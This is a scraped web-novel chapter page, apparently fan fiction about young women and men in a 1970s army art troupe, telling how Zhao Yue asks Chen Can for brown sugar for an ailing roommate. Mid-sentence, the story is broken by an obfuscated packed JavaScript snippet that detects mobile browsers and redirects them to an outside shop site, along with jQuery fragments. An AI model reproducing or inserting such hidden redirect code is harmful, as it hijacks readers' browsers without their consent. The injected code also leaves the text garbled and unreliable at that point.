默认冷灰
24号文字
方正启体

20. 关心

作者:听暖a本书字数:K更新时间:
    春意到了浓得化不开的时候,风里裹着暖融融的花香,连文工团的排练厅都浸在一片绵软的春光里。


    日复一日的排练虽显得枯燥,可一群少男少女凑在一处,哪怕是件微不足道的小事,也能闹得热热闹闹,半点不觉得乏味。


    新一期的板报照例交给了萧穗子,这天排练散得早,她便抱着纸笔打算趁天色尚早,把板报一气呵成地完成。林丁丁早就不见踪影,不用想也知道,又是跑出去跟男兵们拉拉扯扯、说笑打闹去了。


    郝淑雯难得没有陪着萧穗子,她月经第一天,小腹坠着阵阵不适,整个人蔫蔫的。


    宿舍里,她躺在床上翻来覆去,连平日里张扬的性子都收敛了大半。


    兆悦心里虽说依旧对她谈不上多喜欢,可郝淑雯向来大大咧咧,早早就自作主张把兆悦划进了自己的阵营——毕竟两人同住一间宿舍,朝夕相处一同吃饭,兆悦人优秀、做事体面,生活习惯又讲究,挑不出半分错处,在郝淑雯眼里,早就是自己人。


    兆悦一回宿舍就看见了。


    即便只是陌生女孩这般难受,她也不会坐视不管,更何况是同宿舍的郝淑雯。她轻声开口,语气里带着难得的关心:“你要是难受得厉害,我陪你去卫生队?”


    郝淑雯皱着眉,蜷着身子小声应:“不用去卫生队,我就是……想喝口红糖水暖暖身子。”


    兆悦当即点头,起身就往门外走:“行,我去给你弄。”


    可她刚转身,郝淑雯突然喊住她,声音支支吾吾,带着几分难为情:“哎,等一下……”


    兆悦回头看她:“怎么了?”


    郝淑雯脸颊微微发烫,目光躲闪着低声问:“你知道……咱们团里哪儿能找到红糖吗?”


    兆悦这才恍然,自己极少往厨房跑,别说找红糖,连炊事班的门朝哪开都摸不清楚,不像杭春明、小芭蕾他们,偶尔没吃饱,还会溜去厨房顺两个番茄黄瓜,对那边熟门熟路。


    她如实摇了摇头:“我还真不清楚,我平时不怎么往炊事班那边去。”


    郝淑雯脸上掠过一丝极淡的羞涩,快得几乎抓不住,她轻声提醒:“那……你要不找个人问一下?”


    兆悦精准抓住了那一闪而过的羞怯,她心里明镜似的,这不仅仅是这个年代姑娘家对私密事的难为情,更是郝淑雯想借着自己,把身体不适的消息悄悄传给某个人。


    她故意装作不懂,随口问道:“那你知道,谁对炊事班那边最熟吗?”


    郝淑雯几乎没有半分犹豫,故作自然地脱口而出:“陈灿对那门儿清。”


    一瞬间,兆悦心里豁然开朗,忽然明白了为何最后会是郝淑雯和陈灿走到一起,而非满心暗恋的萧穗子。


    郝淑雯自有她的小心思,懂得在这样的时刻,借着这种带着暗示意味的小事,让对方把自己当成一个需要照料的女人看待,不动声色地拉近彼此的距离。


    想来,从这时起,郝淑雯对陈灿,就已经藏着一丝说不清道不明的心思了。


    兆悦不动声色地答应下来,郝淑雯并不知道她和陈灿之间的关系,还故作大方妥帖,像是怕兆悦为难一般,轻声安抚:“你是不是跟他不太熟啊?”


    兆悦淡淡看了她一眼,没有多说。


    郝淑雯连忙小声补充,语气里带着几分不好意思:“这事……毕竟羞人。你要是不好意思开口,就只管说是我要的就行,不用提你自己。”


    兆悦看穿了她的心思,在心里暗暗偷笑,她和陈灿不熟?怕是整个文工团,再没有更熟的人了。


    可她面上依旧平淡,轻轻点了点头,应了声:“好,我知道了,我这就去。”


    郝淑雯躺在床上小憩,心里美滋滋的,等着兆悦把红糖水带回来。


    兆悦走出宿舍,果然看见球场边围了一群人,陈灿刚打完球,额角渗着薄汗,白衬衫领口敞开,透着少年人鲜活的热气。


    萧穗子就站在一旁,强压着心底的羞涩,努力装作轻快随意的样子,找着话题跟陈灿搭话,问他们几个男生:“怎么你们今天突然想起打球?”


    她不过是想多跟陈灿说两句话,但连眼神都不敢过多停留。


    兆悦听着男兵们你一言我一语地回复,走上前跟萧穗子打了招呼,随口夸了句她的板报做得好看。


    路过陈灿身边时,她不动声色地抬眼,偷偷递给他一个眼神。陈灿心头猛地一跳,瞬间会意。


    一群男兵一身汗臭,嚷嚷着去冲澡。


    不过男生洗澡向来快,不过几分钟就收拾妥当。


    十分钟后,陈灿整理好衣装,特意对着镜子捋了捋头发,才快步往排练厅走去。


    这还是兆悦第一次主动给自己暗示,让他过来,从前他们只是不约而同来到这里。


    自从上回在排练厅相拥之后,两人害羞分开,兆悦就再也没有单独来过这里,平日里碰面,也总是围着一群人,郝淑雯跟他斗嘴,萧穗子偶尔搭话,其他女兵问一句他回一句,兆悦甚至连多余的目光都不曾给他。


    今天她主动找自己,陈灿心里又激动又雀跃,连脚步都轻快了几分。


    等他推开排练厅的门,兆悦正安安静静坐在舞台边,手里摆弄着一个平日里喝水的玻璃小瓶子,阳光透过窗棂落在她身上,温柔得不像话。


    陈灿走到她面前,声音压得轻轻的:“找我?”


    兆悦抬眼看他,语气平静:“嗯,有点事。”


    “什么事?”


    “我要红糖。”


    陈灿一愣,有点没反应过来:“红糖?就是炊事班的?”


    “对。”


    他一个半大男孩,哪里懂这些,只当是她嘴馋想吃糖,立刻拍胸脯:“行,下次我家里寄东西,给你带点进口的水果糖,比红糖好吃。”


    兆悦轻轻摇了摇头:“不要别的,就要红糖,现在就要,要冲红糖水。”


    “红糖水?”陈灿重复了一遍,眼神忽然顿住。


    他毕竟也有十八九岁了,这点常识还是知道一点的,稍微一想就明白了是怎么回事,耳朵“唰”地一下就红了。


    下一秒,他心里反倒偷偷美了起来——她要的是这种私密东西,不找杭春明那个跟屁虫,偏偏来找他,是不是……心里是向着他的,想让他多关心关心她?


    陈灿强压着对讨论这种事的羞涩,语气也软了下来,带着几分不自然的关心:“你……你不舒服啊?”


    兆悦看了他一眼,淡淡道:“不是我,是宿舍里的人。”


    “不是你?”陈灿一下子没那么紧张了,也没多追问是谁。


    可他心里立刻又冒起一股劲儿——上次兆悦下车,杭春明又是小板凳又是扶着,殷勤得跟什么似的,他看着就别扭。现在兆悦主动找他办事,他可得办得漂漂亮亮的。


    “行,我知道了,我去给你拿。”


    兆悦把手里的玻璃小水瓶递给他:“装这里就行。”


    两人手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309102|198747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指不经意一碰,陈灿指尖一麻,那点软乎乎的触感,在他心里绕了好一圈。


    他还愣在那儿回味,兆悦已经起身,走到排练厅门口,停下脚步,回头看向他。


    她眼神软软的,带着点说不清的委屈,语气轻轻飘过来:“人家可是点名要你帮忙。”


    陈灿一怔:“嗯?”


    兆悦慢悠悠补了一句,声音轻,却扎心:“我都不知道,我要是也找你办点事,得排到第几个去。”


    这话一出,陈灿整个人都慌了。


    十几岁的少年,哪里扛得住女孩这么半真半假地委屈。


    “不是,你说什么呢?”他急得往前撵了两步,“我什么时候给别人办过这种事了?我就是……就是以前总去炊事班顺煮鸡蛋,跟对炊事班路数熟些而已。”


    兆悦不接他的话,只似笑非笑,带着点阴阳怪气的嗔怪:“哦——看来,我们文工团又要多一个活雷锋了是不是?”


    “我可没有,我答应还不是因为是——”陈灿急着解释,生怕她真生气。


    可等他追出去,兆悦已经往前走了一截,忽然回头,对着他轻轻一笑。


    那一笑眼尾弯弯,分明是在笑他中计了。


    陈灿站在原地,又无奈又好笑,心口被她吊得七上八下,却半点脾气都没有。


    没一会儿,滚烫香甜的红糖水就冲好了。陈灿捧着玻璃瓶,快步回到排练厅,一眼就看见还在原地等他的兆悦。


    他将水杯轻轻递过去,指尖还带着热水的温度。


    兆悦抬眸接过,弯眼笑了笑,语气听着是感谢,却带着一点意味不明的调子:“辛苦你了,动作这么快。看来这种事儿,你是真熟练啊。”


    这话轻飘飘落下来,陈灿心头一下子忽上忽下。


    他听得出,她不是真夸他,是在暗戳戳怪他太会帮女生、太讨女孩子喜欢了。


    这天夜里,陈灿躺在床上翻来覆去,脑子里全是兆悦那似笑非笑的眼神和那些话语,越想越怕她误会自己是对谁都这么贴心的人,越想越睡不着,直到接近凌晨,才昏昏沉沉睡去。


    第二天一早,郝淑雯身子好了不少,又恢复了往日大大咧咧的模样。


    排练中场休息时,她径直朝着陈灿走了过去,依旧是那副互看不顺眼的欢喜冤家架势,下巴微扬,故作高傲地用胳膊肘轻轻拐了他一下。


    “你小子,还挺贴心的嘛。”她扬着声音,语气里带着几分不易察觉的得意,“昨天那红糖水,谢了啊。”


    一句话,明晃晃把昨晚的事认了下来,像是在宣告什么。


    陈灿脸上没什么多余表情,淡淡应了一句:“顺手的事。”


    话音刚落,他眼角余光忽然瞥见不远处的兆悦,正转头朝这边看过来。


    她没有笑,也没有躲,就那么淡淡瞪着他们,眼神里带着点“我倒要看看你们能聊出什么花”的意味,安静却格外有压迫感。


    陈灿心里一紧,瞬间闭紧嘴巴,抿成一条直线。


    等郝淑雯回头望去,周围的人早已各忙各的,兆悦也已经低下头,继续摆弄钢琴练习,仿佛刚才那一眼从未有过。


    郝淑雯只当是陈灿对这种事羞涩,不好意思被姑娘家道谢,她本就是北方大嫚的豪爽性格,当即大大咧咧地拍了拍陈灿的肩膀,没再多说,转身就回到了女兵堆里。


    陈灿站在原地,心跳却久久没能平复,目光不自觉地,又一次飘向了那个安静练琴的身影。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)